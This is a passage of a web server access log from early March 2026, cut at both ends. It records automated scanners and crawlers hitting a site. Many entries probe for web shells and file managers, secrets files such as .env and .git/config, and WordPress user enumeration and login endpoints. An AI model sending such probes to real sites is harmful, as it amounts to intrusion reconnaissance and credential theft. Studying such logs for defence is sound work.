(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:31 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:34 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:34 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:38 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:07:41 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:47 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:30 +0300] "GET /admin/uploads/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:34 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:24:37 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:37 +0300] "GET /management1/assets/assets/images/gallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:40 +0300] "GET /reception1/includes/tcpdf/examples/config/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:43 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:24:47 +0300] "GET /reception/includes/tcpdf/config/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:50 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:53 +0300] "GET /wp-includes/block-bindings/rxzx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:24:56 +0300] "GET /wp-admin/file-manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:59 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:25:03 +0300] "GET /wp-content/themes/ftde.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:25:06 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:25:09 +0300] "GET /wp-includes/block-bindings/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:25:12 +0300] "GET /wp-includes/SimplePie/rstsgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 43.140.247.223 - - [03/Mar/2026:09:58:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 125.136.46.100 - - [03/Mar/2026:10:06:53 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34.34.144.218 - - [03/Mar/2026:11:50:41 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 49.51.132.100 - - [03/Mar/2026:10:37:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.87.13 - - [03/Mar/2026:12:22:09 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 17.22.253.190 - - [03/Mar/2026:11:24:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.253.190 - - [03/Mar/2026:11:24:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 173.252.87.12 - - [03/Mar/2026:12:22:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.157.22.109 - - [03/Mar/2026:11:30:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.96.50 - - [03/Mar/2026:11:34:28 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 18.118.211.62 - - [03/Mar/2026:11:52:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 18.118.211.62 - - [03/Mar/2026:11:52:43 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 4.204.200.32 - - [03/Mar/2026:13:08:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.172.114.76 - - [03/Mar/2026:12:46:07 +0300] "HEAD /l.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 181.78.223.51 - - [03/Mar/2026:13:48:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 213.199.34.224 - - [03/Mar/2026:14:23:02 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 100.30.5.6 - - [03/Mar/2026:14:45:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 18.118.211.62 - - [03/Mar/2026:15:07:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 18.118.211.62 - - [03/Mar/2026:15:07:45 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.91.74.53 - - [03/Mar/2026:15:09:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.91.74.53 - - [03/Mar/2026:15:09:59 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.153.135.208 - - [03/Mar/2026:15:50:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.151.182.53 - - [03/Mar/2026:16:16:16 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 46.151.182.53 - - [03/Mar/2026:16:16:15 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 188.143.244.142 - - [03/Mar/2026:16:38:49 +0300] "GET /salary-advance-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.142 - - [03/Mar/2026:16:38:55 +0300] "GET /category/uncategorized/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.142 - - [03/Mar/2026:16:38:47 +0300] "GET /buy-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 182.42.110.255 - - [03/Mar/2026:16:43:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 145.220.91.19 - - [03/Mar/2026:17:16:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 18.212.111.2 - - [03/Mar/2026:16:31:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.130.105.21 - - [03/Mar/2026:16:36:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 188.143.244.142 - - [03/Mar/2026:16:38:44 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.142 - - [03/Mar/2026:16:38:53 +0300] "GET /services/title-deed-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 115.45.42.15 - - [03/Mar/2026:18:26:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3009.97 Safari/537.36 OPR/63.0.3368.43" 27.46.75.11 - - [03/Mar/2026:18:28:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4306.146 Safari/537.36 Edge/18.18362" 157.230.20.6 - - [03/Mar/2026:19:41:46 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.153.47.201 - - [03/Mar/2026:21:01:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.116.16.88 - - [03/Mar/2026:20:30:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [03/Mar/2026:20:59:17 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 52.91.74.53 - - [03/Mar/2026:22:03:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.135.115.233 - - [03/Mar/2026:21:54:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.148.10.160 - - [03/Mar/2026:22:38:32 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 45.148.10.160 - - [03/Mar/2026:22:38:54 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 45.148.10.160 - - [03/Mar/2026:22:38:36 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.160 - - [03/Mar/2026:22:38:37 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 18.223.110.56 - - [03/Mar/2026:22:47:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 120.71.59.24 - - [03/Mar/2026:23:08:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.151.182.53 - - [03/Mar/2026:23:09:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46.151.182.53 - - [03/Mar/2026:23:09:42 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36" 46.151.182.53 - - [03/Mar/2026:23:09:42 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36" 13.82.150.179 - - [04/Mar/2026:00:27:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 113.59.32.147 - - [04/Mar/2026:00:06:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13.82.150.179 - - [04/Mar/2026:00:27:44 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.82.150.179 - - [04/Mar/2026:00:28:17 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.172.36.113 - - [04/Mar/2026:01:44:35 +0300] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 164.90.197.180 - - [03/Mar/2026:23:44:24 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 13.82.150.179 - - [04/Mar/2026:00:27:55 +0300] "GET /wp-configss.php HTTP/1.1" 301 795 "-" "-" 13.82.150.179 - - [04/Mar/2026:00:27:59 +0300] "GET /ba.php HTTP/1.1" 301 795 "-" "-" 13.82.150.179 - - [04/Mar/2026:00:28:02 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.82.150.179 - - [04/Mar/2026:00:28:04 +0300] "GET /wp-mails.php HTTP/1.1" 301 795 "-" "-" 164.90.197.180 - - [03/Mar/2026:23:44:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 13.82.150.179 - - [04/Mar/2026:00:28:11 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 164.138.205.241 - - [04/Mar/2026:01:44:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.156.168.214 - - [04/Mar/2026:02:42:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.165.138.135 - - [04/Mar/2026:02:47:39 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.205.67.132 - - [04/Mar/2026:03:46:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:46:50 +0300] "GET /input.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:46:52 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:46:56 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:46:59 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 170.106.180.153 - - [04/Mar/2026:03:37:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.67.132 - - [04/Mar/2026:03:47:04 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:07 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:10 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:13 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:15 +0300] "GET /headers.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:18 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:20 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:22 +0300] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:25 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:28 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:31 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:34 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:37 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:39 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:40 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.205.67.132 - - [04/Mar/2026:03:47:42 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 157.230.240.136 - - [04/Mar/2026:05:12:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 43.128.19.78 - - [04/Mar/2026:04:50:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 207.180.205.85 - - [04/Mar/2026:04:34:25 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 182.44.67.97 - - [04/Mar/2026:05:10:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.210.31.254 - - [04/Mar/2026:05:04:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 50.114.33.81 - - [04/Mar/2026:05:18:12 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 207.180.205.85 - - [04/Mar/2026:04:34:25 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/woocommerce/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wordpress-seo/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/astra-sites/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/redux-framework/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:27 +0300] "GET /wp-content/plugins/wp-user-avatar/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 43.153.26.165 - - [04/Mar/2026:08:10:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.163.104.54 - - [04/Mar/2026:09:02:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.226.197.59 - - [04/Mar/2026:09:04:34 +0300] "GET /WebInterface/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:05:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/contact-form-7/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/limit-login-attempts-reloaded/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/svg-support/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/header-footer-elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/autoptimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/disable-comments/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:05:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:05:08 +0300] "GET /login.do HTTP/1.1" 301 795 